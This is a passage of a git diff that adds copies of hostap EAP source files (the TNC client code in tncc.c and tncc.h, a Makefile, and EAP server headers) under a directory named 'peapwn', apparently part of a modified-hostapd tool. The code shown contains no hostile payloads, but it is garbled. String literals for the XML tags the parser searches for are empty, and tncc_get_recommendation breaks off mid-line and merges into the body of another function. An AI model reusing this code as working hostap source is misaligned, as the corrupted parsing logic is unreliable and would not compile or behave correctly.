+ + imc->ProvideBindFunction = + tncc_get_sym(handle, "TNC_IMC_ProvideBindFunction"); + if (imc->ProvideBindFunction == NULL) { + wpa_printf(MSG_ERROR, "TNC: IMC does not export " + "TNC_IMC_ProvideBindFunction"); + return -1; + } + + /* Optional IMC functions */ + imc->NotifyConnectionChange = + tncc_get_sym(handle, "TNC_IMC_NotifyConnectionChange"); + imc->ReceiveMessage = tncc_get_sym(handle, "TNC_IMC_ReceiveMessage"); + imc->BatchEnding = tncc_get_sym(handle, "TNC_IMC_BatchEnding"); + imc->Terminate = tncc_get_sym(handle, "TNC_IMC_Terminate"); + + return 0; +} + + +static int tncc_imc_initialize(struct tnc_if_imc *imc) +{ + TNC_Result res; + TNC_Version imc_ver; + + wpa_printf(MSG_DEBUG, "TNC: Calling TNC_IMC_Initialize for IMC '%s'", + imc->name); + res = imc->Initialize(imc->imcID, TNC_IFIMC_VERSION_1, + TNC_IFIMC_VERSION_1, &imc_ver); + wpa_printf(MSG_DEBUG, "TNC: TNC_IMC_Initialize: res=%lu imc_ver=%lu", + (unsigned long) res, (unsigned long) imc_ver); + + return res == TNC_RESULT_SUCCESS ? 0 : -1; +} + + +static int tncc_imc_terminate(struct tnc_if_imc *imc) +{ + TNC_Result res; + + if (imc->Terminate == NULL) + return 0; + + wpa_printf(MSG_DEBUG, "TNC: Calling TNC_IMC_Terminate for IMC '%s'", + imc->name); + res = imc->Terminate(imc->imcID); + wpa_printf(MSG_DEBUG, "TNC: TNC_IMC_Terminate: %lu", + (unsigned long) res); + + return res == TNC_RESULT_SUCCESS ? 0 : -1; +} + + +static int tncc_imc_provide_bind_function(struct tnc_if_imc *imc) +{ + TNC_Result res; + + wpa_printf(MSG_DEBUG, "TNC: Calling TNC_IMC_ProvideBindFunction for " + "IMC '%s'", imc->name); + res = imc->ProvideBindFunction(imc->imcID, TNC_TNCC_BindFunction); + wpa_printf(MSG_DEBUG, "TNC: TNC_IMC_ProvideBindFunction: res=%lu", + (unsigned long) res); + + return res == TNC_RESULT_SUCCESS ? 0 : -1; +} + + +static int tncc_imc_notify_connection_change(struct tnc_if_imc *imc, + TNC_ConnectionState state) +{ + TNC_Result res; + + if (imc->NotifyConnectionChange == NULL) + return 0; + + wpa_printf(MSG_DEBUG, "TNC: Calling TNC_IMC_NotifyConnectionChange(%d)" + " for IMC '%s'", (int) state, imc->name); + res = imc->NotifyConnectionChange(imc->imcID, imc->connectionID, + state); + wpa_printf(MSG_DEBUG, "TNC: TNC_IMC_NotifyConnectionChange: %lu", + (unsigned long) res); + + return res == TNC_RESULT_SUCCESS ? 0 : -1; +} + + +static int tncc_imc_begin_handshake(struct tnc_if_imc *imc) +{ + TNC_Result res; + + wpa_printf(MSG_DEBUG, "TNC: Calling TNC_IMC_BeginHandshake for IMC " + "'%s'", imc->name); + res = imc->BeginHandshake(imc->imcID, imc->connectionID); + wpa_printf(MSG_DEBUG, "TNC: TNC_IMC_BeginHandshake: %lu", + (unsigned long) res); + + return res == TNC_RESULT_SUCCESS ? 0 : -1; +} + + +static int tncc_load_imc(struct tnc_if_imc *imc) +{ + if (imc->path == NULL) { + wpa_printf(MSG_DEBUG, "TNC: No IMC configured"); + return -1; + } + + wpa_printf(MSG_DEBUG, "TNC: Opening IMC: %s (%s)", + imc->name, imc->path); +#ifdef CONFIG_NATIVE_WINDOWS +#ifdef UNICODE + { + TCHAR *lib = wpa_strdup_tchar(imc->path); + if (lib == NULL) + return -1; + imc->dlhandle = LoadLibrary(lib); + os_free(lib); + } +#else /* UNICODE */ + imc->dlhandle = LoadLibrary(imc->path); +#endif /* UNICODE */ + if (imc->dlhandle == NULL) { + wpa_printf(MSG_ERROR, "TNC: Failed to open IMC '%s' (%s): %d", + imc->name, imc->path, (int) GetLastError()); + return -1; + } +#else /* CONFIG_NATIVE_WINDOWS */ + imc->dlhandle = dlopen(imc->path, RTLD_LAZY); + if (imc->dlhandle == NULL) { + wpa_printf(MSG_ERROR, "TNC: Failed to open IMC '%s' (%s): %s", + imc->name, imc->path, dlerror()); + return -1; + } +#endif /* CONFIG_NATIVE_WINDOWS */ + + if (tncc_imc_resolve_funcs(imc) < 0) { + wpa_printf(MSG_ERROR, "TNC: Failed to resolve IMC functions"); + return -1; + } + + if (tncc_imc_initialize(imc) < 0 || + tncc_imc_provide_bind_function(imc) < 0) { + wpa_printf(MSG_ERROR, "TNC: Failed to initialize IMC"); + return -1; + } + + return 0; +} + + +static void tncc_unload_imc(struct tnc_if_imc *imc) +{ + tncc_imc_terminate(imc); + tnc_imc[imc->imcID] = NULL; + + if (imc->dlhandle) { +#ifdef CONFIG_NATIVE_WINDOWS + FreeLibrary(imc->dlhandle); +#else /* CONFIG_NATIVE_WINDOWS */ + dlclose(imc->dlhandle); +#endif /* CONFIG_NATIVE_WINDOWS */ + } + os_free(imc->name); + os_free(imc->path); + os_free(imc->supported_types); + os_free(imc->imc_send); +} + + +static int tncc_supported_type(struct tnc_if_imc *imc, unsigned int type) +{ + size_t i; + unsigned int vendor, subtype; + + if (imc == NULL || imc->supported_types == NULL) + return 0; + + vendor = type >> 8; + subtype = type & 0xff; + + for (i = 0; i < imc->num_supported_types; i++) { + unsigned int svendor, ssubtype; + svendor = imc->supported_types[i] >> 8; + ssubtype = imc->supported_types[i] & 0xff; + if ((vendor == svendor || svendor == TNC_VENDORID_ANY) && + (subtype == ssubtype || ssubtype == TNC_SUBTYPE_ANY)) + return 1; + } + + return 0; +} + + +static void tncc_send_to_imcs(struct tncc_data *tncc, unsigned int type, + const u8 *msg, size_t len) +{ + struct tnc_if_imc *imc; + TNC_Result res; + + wpa_hexdump_ascii(MSG_MSGDUMP, "TNC: Message to IMC(s)", msg, len); + + for (imc = tncc->imc; imc; imc = imc->next) { + if (imc->ReceiveMessage == NULL || + !tncc_supported_type(imc, type)) + continue; + + wpa_printf(MSG_DEBUG, "TNC: Call ReceiveMessage for IMC '%s'", + imc->name); + res = imc->ReceiveMessage(imc->imcID, imc->connectionID, + (TNC_BufferReference) msg, len, + type); + wpa_printf(MSG_DEBUG, "TNC: ReceiveMessage: %lu", + (unsigned long) res); + } +} + + +void tncc_init_connection(struct tncc_data *tncc) +{ + struct tnc_if_imc *imc; + + for (imc = tncc->imc; imc; imc = imc->next) { + tncc_imc_notify_connection_change( + imc, TNC_CONNECTION_STATE_CREATE); + tncc_imc_notify_connection_change( + imc, TNC_CONNECTION_STATE_HANDSHAKE); + + os_free(imc->imc_send); + imc->imc_send = NULL; + imc->imc_send_len = 0; + + tncc_imc_begin_handshake(imc); + } +} + + +size_t tncc_total_send_len(struct tncc_data *tncc) +{ + struct tnc_if_imc *imc; + + size_t len = 0; + for (imc = tncc->imc; imc; imc = imc->next) + len += imc->imc_send_len; + return len; +} + + +u8 * tncc_copy_send_buf(struct tncc_data *tncc, u8 *pos) +{ + struct tnc_if_imc *imc; + + for (imc = tncc->imc; imc; imc = imc->next) { + if (imc->imc_send == NULL) + continue; + + os_memcpy(pos, imc->imc_send, imc->imc_send_len); + pos += imc->imc_send_len; + os_free(imc->imc_send); + imc->imc_send = NULL; + imc->imc_send_len = 0; + } + + return pos; +} + + +char * tncc_if_tnccs_start(struct tncc_data *tncc) +{ + char *buf = os_malloc(1000); + if (buf == NULL) + return NULL; + tncc->last_batchid++; + os_snprintf(buf, 1000, IF_TNCCS_START, tncc->last_batchid); + return buf; +} + + +char * tncc_if_tnccs_end(void) +{ + char *buf = os_malloc(100); + if (buf == NULL) + return NULL; + os_snprintf(buf, 100, IF_TNCCS_END); + return buf; +} + + +static void tncc_notify_recommendation(struct tncc_data *tncc, + enum tncc_process_res res) +{ + TNC_ConnectionState state; + struct tnc_if_imc *imc; + + switch (res) { + case TNCCS_RECOMMENDATION_ALLOW: + state = TNC_CONNECTION_STATE_ACCESS_ALLOWED; + break; + case TNCCS_RECOMMENDATION_NONE: + state = TNC_CONNECTION_STATE_ACCESS_NONE; + break; + case TNCCS_RECOMMENDATION_ISOLATE: + state = TNC_CONNECTION_STATE_ACCESS_ISOLATED; + break; + default: + state = TNC_CONNECTION_STATE_ACCESS_NONE; + break; + } + + for (imc = tncc->imc; imc; imc = imc->next) + tncc_imc_notify_connection_change(imc, state); +} + + +static int tncc_get_type(char *start, unsigned int *type) +{ + char *pos = os_strstr(start, ""); + if (pos == NULL) + return -1; + pos += 6; + *type = strtoul(pos, NULL, 16); + return 0; +} + + +static unsigned char * tncc_get_base64(char *start, size_t *decoded_len) +{ + char *pos, *pos2; + unsigned char *decoded; + + pos = os_strstr(start, ""); + if (pos == NULL) + return NULL; + + pos += 8; + pos2 = os_strstr(pos, ""); + if (pos2 == NULL) + return NULL; + *pos2 = '\0'; + + decoded = base64_decode((unsigned char *) pos, os_strlen(pos), + decoded_len); + *pos2 = '<'; + if (decoded == NULL) { + wpa_printf(MSG_DEBUG, "TNC: Failed to decode Base64 data"); + } + + return decoded; +} + + +static enum tncc_process_res tncc_get_recommendation(char *start) +{ + char *pos, *pos2, saved; + int recom; + + pos = os_strstr(start, ""); + if (start == NULL || end == NULL || start > end) { + os_free(buf); + return TNCCS_PROCESS_ERROR; + } + + start += 13; + while (*start == ' ') + start++; + *end = '\0'; + + pos = os_strstr(start, "BatchId="); + if (pos == NULL) { + os_free(buf); + return TNCCS_PROCESS_ERROR; + } + + pos += 8; + if (*pos == '"') + pos++; + batch_id = atoi(pos); + wpa_printf(MSG_DEBUG, "TNC: Received IF-TNCCS BatchId=%u", + batch_id); + if (batch_id != tncc->last_batchid + 1) { + wpa_printf(MSG_DEBUG, "TNC: Unexpected IF-TNCCS BatchId " + "%u (expected %u)", + batch_id, tncc->last_batchid + 1); + os_free(buf); + return TNCCS_PROCESS_ERROR; + } + tncc->last_batchid = batch_id; + + while (*pos != '\0' && *pos != '>') + pos++; + if (*pos == '\0') { + os_free(buf); + return TNCCS_PROCESS_ERROR; + } + pos++; + payload = start; + + /* + * + * 01234567 + * foo== + * + */ + + while (*start) { + char *endpos; + unsigned int type; + + pos = os_strstr(start, ""); + if (pos == NULL) + break; + start = pos + 17; + end = os_strstr(start, ""); + if (end == NULL) + break; + *end = '\0'; + endpos = end; + end += 18; + + if (tncc_get_type(start, &type) < 0) { + *endpos = '<'; + start = end; + continue; + } + wpa_printf(MSG_DEBUG, "TNC: IMC-IMV-Message Type 0x%x", type); + + decoded = tncc_get_base64(start, &decoded_len); + if (decoded == NULL) { + *endpos = '<'; + start = end; + continue; + } + + tncc_send_to_imcs(tncc, type, decoded, decoded_len); + + os_free(decoded); + + start = end; + } + + /* + * + * 01234567 + * + * foo== + * + */ + + start = payload; + while (*start) { + unsigned int type; + char *xml, *xmlend, *endpos; + + pos = os_strstr(start, ""); + if (pos == NULL) + break; + start = pos + 19; + end = os_strstr(start, ""); + if (end == NULL) + break; + *end = '\0'; + endpos = end; + end += 20; + + if (tncc_get_type(start, &type) < 0) { + *endpos = '<'; + start = end; + continue; + } + wpa_printf(MSG_DEBUG, "TNC: TNCC-TNCS-Message Type 0x%x", + type); + + /* Base64 OR XML */ + decoded = NULL; + xml = NULL; + xmlend = NULL; + pos = os_strstr(start, ""); + if (pos) { + pos += 5; + pos2 = os_strstr(pos, ""); + if (pos2 == NULL) { + *endpos = '<'; + start = end; + continue; + } + xmlend = pos2; + xml = pos; + } else { + decoded = tncc_get_base64(start, &decoded_len); + if (decoded == NULL) { + *endpos = '<'; + start = end; + continue; + } + } + + if (decoded) { + wpa_hexdump_ascii(MSG_MSGDUMP, + "TNC: TNCC-TNCS-Message Base64", + decoded, decoded_len); + os_free(decoded); + } + + if (xml) { + wpa_hexdump_ascii(MSG_MSGDUMP, + "TNC: TNCC-TNCS-Message XML", + (unsigned char *) xml, + xmlend - xml); + } + + if (type == TNC_TNCCS_RECOMMENDATION && xml) { + /* + * + * + */ + *xmlend = '\0'; + res = tncc_get_recommendation(xml); + *xmlend = '<'; + recommendation_msg = 1; + } + + start = end; + } + + os_free(buf); + + if (recommendation_msg) + tncc_notify_recommendation(tncc, res); + + return res; +} + + +#ifdef CONFIG_NATIVE_WINDOWS +static int tncc_read_config_reg(struct tncc_data *tncc, HKEY hive) +{ + HKEY hk, hk2; + LONG ret; + DWORD i; + struct tnc_if_imc *imc, *last; + int j; + + last = tncc->imc; + while (last && last->next) + last = last->next; + + ret = RegOpenKeyEx(hive, TNC_WINREG_PATH, 0, KEY_ENUMERATE_SUB_KEYS, + &hk); + if (ret != ERROR_SUCCESS) + return 0; + + for (i = 0; ; i++) { + TCHAR name[255], *val; + DWORD namelen, buflen; + + namelen = 255; + ret = RegEnumKeyEx(hk, i, name, &namelen, NULL, NULL, NULL, + NULL); + + if (ret == ERROR_NO_MORE_ITEMS) + break; + + if (ret != ERROR_SUCCESS) { + wpa_printf(MSG_DEBUG, "TNC: RegEnumKeyEx failed: 0x%x", + (unsigned int) ret); + break; + } + + if (namelen >= 255) + namelen = 255 - 1; + name[namelen] = '\0'; + + wpa_printf(MSG_DEBUG, "TNC: IMC '" TSTR "'", name); + + ret = RegOpenKeyEx(hk, name, 0, KEY_QUERY_VALUE, &hk2); + if (ret != ERROR_SUCCESS) { + wpa_printf(MSG_DEBUG, "Could not open IMC key '" TSTR + "'", name); + continue; + } + + ret = RegQueryValueEx(hk2, TEXT("Path"), NULL, NULL, NULL, + &buflen); + if (ret != ERROR_SUCCESS) { + wpa_printf(MSG_DEBUG, "TNC: Could not read Path from " + "IMC key '" TSTR "'", name); + RegCloseKey(hk2); + continue; + } + + val = os_malloc(buflen); + if (val == NULL) { + RegCloseKey(hk2); + continue; + } + + ret = RegQueryValueEx(hk2, TEXT("Path"), NULL, NULL, + (LPBYTE) val, &buflen); + if (ret != ERROR_SUCCESS) { + os_free(val); + RegCloseKey(hk2); + continue; + } + + RegCloseKey(hk2); + + wpa_unicode2ascii_inplace(val); + wpa_printf(MSG_DEBUG, "TNC: IMC Path '%s'", (char *) val); + + for (j = 0; j < TNC_MAX_IMC_ID; j++) { + if (tnc_imc[j] == NULL) + break; + } + if (j >= TNC_MAX_IMC_ID) { + wpa_printf(MSG_DEBUG, "TNC: Too many IMCs"); + os_free(val); + continue; + } + + imc = os_zalloc(sizeof(*imc)); + if (imc == NULL) { + os_free(val); + break; + } + + imc->imcID = j; + + wpa_unicode2ascii_inplace(name); + imc->name = os_strdup((char *) name); + imc->path = os_strdup((char *) val); + + os_free(val); + + if (last == NULL) + tncc->imc = imc; + else + last->next = imc; + last = imc; + + tnc_imc[imc->imcID] = imc; + } + + RegCloseKey(hk); + + return 0; +} + + +static int tncc_read_config(struct tncc_data *tncc) +{ + if (tncc_read_config_reg(tncc, HKEY_LOCAL_MACHINE) < 0 || + tncc_read_config_reg(tncc, HKEY_CURRENT_USER) < 0) + return -1; + return 0; +} + +#else /* CONFIG_NATIVE_WINDOWS */ + +static struct tnc_if_imc * tncc_parse_imc(char *start, char *end, int *error) +{ + struct tnc_if_imc *imc; + char *pos, *pos2; + int i; + + for (i = 0; i < TNC_MAX_IMC_ID; i++) { + if (tnc_imc[i] == NULL) + break; + } + if (i >= TNC_MAX_IMC_ID) { + wpa_printf(MSG_DEBUG, "TNC: Too many IMCs"); + return NULL; + } + + imc = os_zalloc(sizeof(*imc)); + if (imc == NULL) { + *error = 1; + return NULL; + } + + imc->imcID = i; + + pos = start; + wpa_printf(MSG_DEBUG, "TNC: Configured IMC: %s", pos); + if (pos + 1 >= end || *pos != '"') { + wpa_printf(MSG_ERROR, "TNC: Ignoring invalid IMC line '%s' " + "(no starting quotation mark)", start); + os_free(imc); + return NULL; + } + + pos++; + pos2 = pos; + while (pos2 < end && *pos2 != '"') + pos2++; + if (pos2 >= end) { + wpa_printf(MSG_ERROR, "TNC: Ignoring invalid IMC line '%s' " + "(no ending quotation mark)", start); + os_free(imc); + return NULL; + } + *pos2 = '\0'; + wpa_printf(MSG_DEBUG, "TNC: Name: '%s'", pos); + imc->name = os_strdup(pos); + + pos = pos2 + 1; + if (pos >= end || *pos != ' ') { + wpa_printf(MSG_ERROR, "TNC: Ignoring invalid IMC line '%s' " + "(no space after name)", start); + os_free(imc->name); + os_free(imc); + return NULL; + } + + pos++; + wpa_printf(MSG_DEBUG, "TNC: IMC file: '%s'", pos); + imc->path = os_strdup(pos); + tnc_imc[imc->imcID] = imc; + + return imc; +} + + +static int tncc_read_config(struct tncc_data *tncc) +{ + char *config, *end, *pos, *line_end; + size_t config_len; + struct tnc_if_imc *imc, *last; + + last = NULL; + + config = os_readfile(TNC_CONFIG_FILE, &config_len); + if (config == NULL) { + wpa_printf(MSG_ERROR, "TNC: Could not open TNC configuration " + "file '%s'", TNC_CONFIG_FILE); + return -1; + } + + end = config + config_len; + for (pos = config; pos < end; pos = line_end + 1) { + line_end = pos; + while (*line_end != '\n' && *line_end != '\r' && + line_end < end) + line_end++; + *line_end = '\0'; + + if (os_strncmp(pos, "IMC ", 4) == 0) { + int error = 0; + + imc = tncc_parse_imc(pos + 4, line_end, &error); + if (error) + return -1; + if (imc) { + if (last == NULL) + tncc->imc = imc; + else + last->next = imc; + last = imc; + } + } + } + + os_free(config); + + return 0; +} + +#endif /* CONFIG_NATIVE_WINDOWS */ + + +struct tncc_data * tncc_init(void) +{ + struct tncc_data *tncc; + struct tnc_if_imc *imc; + + tncc = os_zalloc(sizeof(*tncc)); + if (tncc == NULL) + return NULL; + + /* TODO: + * move loading and Initialize() to a location that is not + * re-initialized for every EAP-TNC session (?) + */ + + if (tncc_read_config(tncc) < 0) { + wpa_printf(MSG_ERROR, "TNC: Failed to read TNC configuration"); + goto failed; + } + + for (imc = tncc->imc; imc; imc = imc->next) { + if (tncc_load_imc(imc)) { + wpa_printf(MSG_ERROR, "TNC: Failed to load IMC '%s'", + imc->name); + goto failed; + } + } + + return tncc; + +failed: + tncc_deinit(tncc); + return NULL; +} + + +void tncc_deinit(struct tncc_data *tncc) +{ + struct tnc_if_imc *imc, *prev; + + imc = tncc->imc; + while (imc) { + tncc_unload_imc(imc); + + prev = imc; + imc = imc->next; + os_free(prev); + } + + os_free(tncc); +} + + +static struct wpabuf * tncc_build_soh(int ver) +{ + struct wpabuf *buf; + u8 *tlv_len, *tlv_len2, *outer_len, *inner_len, *ssoh_len, *end; + u8 correlation_id[24]; + /* TODO: get correct name */ + char *machinename = "wpa_supplicant@w1.fi"; + + if (os_get_random(correlation_id, sizeof(correlation_id))) + return NULL; + wpa_hexdump(MSG_DEBUG, "TNC: SoH Correlation ID", + correlation_id, sizeof(correlation_id)); + + buf = wpabuf_alloc(200); + if (buf == NULL) + return NULL; + + /* Vendor-Specific TLV (Microsoft) - SoH */ + wpabuf_put_be16(buf, EAP_TLV_VENDOR_SPECIFIC_TLV); /* TLV Type */ + tlv_len = wpabuf_put(buf, 2); /* Length */ + wpabuf_put_be32(buf, EAP_VENDOR_MICROSOFT); /* Vendor_Id */ + wpabuf_put_be16(buf, 0x01); /* TLV Type - SoH TLV */ + tlv_len2 = wpabuf_put(buf, 2); /* Length */ + + /* SoH Header */ + wpabuf_put_be16(buf, EAP_TLV_VENDOR_SPECIFIC_TLV); /* Outer Type */ + outer_len = wpabuf_put(buf, 2); + wpabuf_put_be32(buf, EAP_VENDOR_MICROSOFT); /* IANA SMI Code */ + wpabuf_put_be16(buf, ver); /* Inner Type */ + inner_len = wpabuf_put(buf, 2); + + if (ver == 2) { + /* SoH Mode Sub-Header */ + /* Outer Type */ + wpabuf_put_be16(buf, EAP_TLV_VENDOR_SPECIFIC_TLV); + wpabuf_put_be16(buf, 4 + 24 + 1 + 1); /* Length */ + wpabuf_put_be32(buf, EAP_VENDOR_MICROSOFT); /* IANA SMI Code */ + /* Value: */ + wpabuf_put_data(buf, correlation_id, sizeof(correlation_id)); + wpabuf_put_u8(buf, 0x01); /* Intent Flag - Request */ + wpabuf_put_u8(buf, 0x00); /* Content-Type Flag */ + } + + /* SSoH TLV */ + /* System-Health-Id */ + wpabuf_put_be16(buf, 0x0002); /* Type */ + wpabuf_put_be16(buf, 4); /* Length */ + wpabuf_put_be32(buf, 79616); + /* Vendor-Specific Attribute */ + wpabuf_put_be16(buf, EAP_TLV_VENDOR_SPECIFIC_TLV); + ssoh_len = wpabuf_put(buf, 2); + wpabuf_put_be32(buf, EAP_VENDOR_MICROSOFT); /* IANA SMI Code */ + + /* MS-Packet-Info */ + wpabuf_put_u8(buf, SSOH_MS_PACKET_INFO); + /* Note: IF-TNCCS-SOH v1.0 r8 claims this field to be: + * Reserved(4 bits) r(1 bit) Vers(3 bits), but Windows XP + * SP3 seems to be sending 0x11 for SSoH, i.e., r(request/response) bit + * would not be in the specified location. + * [MS-SOH] 4.0.2: Reserved(3 bits) r(1 bit) Vers(4 bits) + */ + wpabuf_put_u8(buf, 0x11); /* r=request, vers=1 */ + + /* MS-Machine-Inventory */ + /* TODO: get correct values; 0 = not applicable for OS */ + wpabuf_put_u8(buf, SSOH_MS_MACHINE_INVENTORY); + wpabuf_put_be32(buf, 0); /* osVersionMajor */ + wpabuf_put_be32(buf, 0); /* osVersionMinor */ + wpabuf_put_be32(buf, 0); /* osVersionBuild */ + wpabuf_put_be16(buf, 0); /* spVersionMajor */ + wpabuf_put_be16(buf, 0); /* spVersionMinor */ + wpabuf_put_be16(buf, 0); /* procArch */ + + /* MS-MachineName */ + wpabuf_put_u8(buf, SSOH_MS_MACHINENAME); + wpabuf_put_be16(buf, os_strlen(machinename) + 1); + wpabuf_put_data(buf, machinename, os_strlen(machinename) + 1); + + /* MS-CorrelationId */ + wpabuf_put_u8(buf, SSOH_MS_CORRELATIONID); + wpabuf_put_data(buf, correlation_id, sizeof(correlation_id)); + + /* MS-Quarantine-State */ + wpabuf_put_u8(buf, SSOH_MS_QUARANTINE_STATE); + wpabuf_put_be16(buf, 1); /* Flags: ExtState=0, f=0, qState=1 */ + wpabuf_put_be32(buf, 0xffffffff); /* ProbTime (hi) */ + wpabuf_put_be32(buf, 0xffffffff); /* ProbTime (lo) */ + wpabuf_put_be16(buf, 1); /* urlLenInBytes */ + wpabuf_put_u8(buf, 0); /* null termination for the url */ + + /* MS-Machine-Inventory-Ex */ + wpabuf_put_u8(buf, SSOH_MS_MACHINE_INVENTORY_EX); + wpabuf_put_be32(buf, 0); /* Reserved + * (note: Windows XP SP3 uses 0xdecafbad) */ + wpabuf_put_u8(buf, 1); /* ProductType: Client */ + + /* Update SSoH Length */ + end = wpabuf_put(buf, 0); + WPA_PUT_BE16(ssoh_len, end - ssoh_len - 2); + + /* TODO: SoHReportEntry TLV (zero or more) */ + + /* Update length fields */ + end = wpabuf_put(buf, 0); + WPA_PUT_BE16(tlv_len, end - tlv_len - 2); + WPA_PUT_BE16(tlv_len2, end - tlv_len2 - 2); + WPA_PUT_BE16(outer_len, end - outer_len - 2); + WPA_PUT_BE16(inner_len, end - inner_len - 2); + + return buf; +} + + +struct wpabuf * tncc_process_soh_request(int ver, const u8 *data, size_t len) +{ + const u8 *pos; + + wpa_hexdump(MSG_DEBUG, "TNC: SoH Request", data, len); + + if (len < 12) + return NULL; + + /* SoH Request */ + pos = data; + + /* TLV Type */ + if (WPA_GET_BE16(pos) != EAP_TLV_VENDOR_SPECIFIC_TLV) + return NULL; + pos += 2; + + /* Length */ + if (WPA_GET_BE16(pos) < 8) + return NULL; + pos += 2; + + /* Vendor_Id */ + if (WPA_GET_BE32(pos) != EAP_VENDOR_MICROSOFT) + return NULL; + pos += 4; + + /* TLV Type */ + if (WPA_GET_BE16(pos) != 0x02 /* SoH request TLV */) + return NULL; + + wpa_printf(MSG_DEBUG, "TNC: SoH Request TLV received"); + + return tncc_build_soh(2); +} diff --git a/peapwn/mods/hostap/src/eap_peer/tncc.h b/peapwn/mods/hostap/src/eap_peer/tncc.h new file mode 100644 index 000000000..df2a2870f --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/tncc.h @@ -0,0 +1,36 @@ +/* + * EAP-TNC - TNCC (IF-IMC and IF-TNCCS) + * Copyright (c) 2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef TNCC_H +#define TNCC_H + +struct tncc_data; + +struct tncc_data * tncc_init(void); +void tncc_deinit(struct tncc_data *tncc); +void tncc_init_connection(struct tncc_data *tncc); +size_t tncc_total_send_len(struct tncc_data *tncc); +u8 * tncc_copy_send_buf(struct tncc_data *tncc, u8 *pos); +char * tncc_if_tnccs_start(struct tncc_data *tncc); +char * tncc_if_tnccs_end(void); + +enum tncc_process_res { + TNCCS_PROCESS_ERROR = -1, + TNCCS_PROCESS_OK_NO_RECOMMENDATION = 0, + TNCCS_RECOMMENDATION_ERROR, + TNCCS_RECOMMENDATION_ALLOW, + TNCCS_RECOMMENDATION_NONE, + TNCCS_RECOMMENDATION_ISOLATE +}; + +enum tncc_process_res tncc_process_if_tnccs(struct tncc_data *tncc, + const u8 *msg, size_t len); + +struct wpabuf * tncc_process_soh_request(int ver, const u8 *data, size_t len); + +#endif /* TNCC_H */ diff --git a/peapwn/mods/hostap/src/eap_server/Makefile b/peapwn/mods/hostap/src/eap_server/Makefile new file mode 100644 index 000000000..adfd3dfd5 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/Makefile @@ -0,0 +1,8 @@ +all: + @echo Nothing to be made. + +clean: + rm -f *~ *.o *.d *.gcno *.gcda *.gcov + +install: + @echo Nothing to be made. diff --git a/peapwn/mods/hostap/src/eap_server/eap.h b/peapwn/mods/hostap/src/eap_server/eap.h new file mode 100644 index 000000000..36b230b48 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/eap.h @@ -0,0 +1,125 @@ +/* + * hostapd / EAP Full Authenticator state machine (RFC 4137) + * Copyright (c) 2004-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAP_H +#define EAP_H + +#include "common/defs.h" +#include "eap_common/eap_defs.h" +#include "eap_server/eap_methods.h" +#include "wpabuf.h" + +struct eap_sm; + +#define EAP_TTLS_AUTH_PAP 1 +#define EAP_TTLS_AUTH_CHAP 2 +#define EAP_TTLS_AUTH_MSCHAP 4 +#define EAP_TTLS_AUTH_MSCHAPV2 8 + +struct eap_user { + struct { + int vendor; + u32 method; + } methods[EAP_MAX_METHODS]; + u8 *password; + size_t password_len; + int password_hash; /* whether password is hashed with + * nt_password_hash() */ + int phase2; + int force_version; + int ttls_auth; /* bitfield of + * EAP_TTLS_AUTH_{PAP,CHAP,MSCHAP,MSCHAPV2} */ +}; + +struct eap_eapol_interface { + /* Lower layer to full authenticator variables */ + Boolean eapResp; /* shared with EAPOL Backend Authentication */ + struct wpabuf *eapRespData; + Boolean portEnabled; + int retransWhile; + Boolean eapRestart; /* shared with EAPOL Authenticator PAE */ + int eapSRTT; + int eapRTTVAR; + + /* Full authenticator to lower layer variables */ + Boolean eapReq; /* shared with EAPOL Backend Authentication */ + Boolean eapNoReq; /* shared with EAPOL Backend Authentication */ + Boolean eapSuccess; + Boolean eapFail; + Boolean eapTimeout; + struct wpabuf *eapReqData; + u8 *eapKeyData; + size_t eapKeyDataLen; + Boolean eapKeyAvailable; /* called keyAvailable in IEEE 802.1X-2004 */ + + /* AAA interface to full authenticator variables */ + Boolean aaaEapReq; + Boolean aaaEapNoReq; + Boolean aaaSuccess; + Boolean aaaFail; + struct wpabuf *aaaEapReqData; + u8 *aaaEapKeyData; + size_t aaaEapKeyDataLen; + Boolean aaaEapKeyAvailable; + int aaaMethodTimeout; + + /* Full authenticator to AAA interface variables */ + Boolean aaaEapResp; + struct wpabuf *aaaEapRespData; + /* aaaIdentity -> eap_get_identity() */ + Boolean aaaTimeout; +}; + +struct eapol_callbacks { + int (*get_eap_user)(void *ctx, const u8 *identity, size_t identity_len, + int phase2, struct eap_user *user); + const char * (*get_eap_req_id_text)(void *ctx, size_t *len); +}; + +struct eap_config { + void *ssl_ctx; + void *msg_ctx; + void *eap_sim_db_priv; + Boolean backend_auth; + int eap_server; + u16 pwd_group; + u8 *pac_opaque_encr_key; + u8 *eap_fast_a_id; + size_t eap_fast_a_id_len; + char *eap_fast_a_id_info; + int eap_fast_prov; + int pac_key_lifetime; + int pac_key_refresh_time; + int eap_sim_aka_result_ind; + int tnc; + struct wps_context *wps; + const struct wpabuf *assoc_wps_ie; + const struct wpabuf *assoc_p2p_ie; + const u8 *peer_addr; + int fragment_size; + + int pbc_in_m1; + + const u8 *server_id; + size_t server_id_len; +}; + + +struct eap_sm * eap_server_sm_init(void *eapol_ctx, + struct eapol_callbacks *eapol_cb, + struct eap_config *eap_conf); +void eap_server_sm_deinit(struct eap_sm *sm); +int eap_server_sm_step(struct eap_sm *sm); +void eap_sm_notify_cached(struct eap_sm *sm); +void eap_sm_pending_cb(struct eap_sm *sm); +int eap_sm_method_pending(struct eap_sm *sm); +const u8 * eap_get_identity(struct eap_sm *sm, size_t *len); +struct eap_eapol_interface * eap_get_interface(struct eap_sm *sm); +void eap_server_clear_identity(struct eap_sm *sm); + +#endif /* EAP_H */ diff --git a/peapwn/mods/hostap/src/eap_server/eap_i.h b/peapwn/mods/hostap/src/eap_server/eap_i.h new file mode 100644 index 000000000..003e20205 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/eap_i.h @@ -0,0 +1,200 @@ +/* + * hostapd / EAP Authenticator state machine internal structures (RFC 4137) + * Copyright (c) 2004-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAP_I_H +#define EAP_I_H + +#include "wpabuf.h" +#include "eap_server/eap.h" +#include "eap_common/eap_common.h" + +/* RFC 4137 - EAP Standalone Authenticator */ + +/** + * struct eap_method - EAP method interface + * This structure defines the EAP method interface. Each method will need to + * register its own EAP type, EAP name, and set of function pointers for method + * specific operations. This interface is based on section 5.4 of 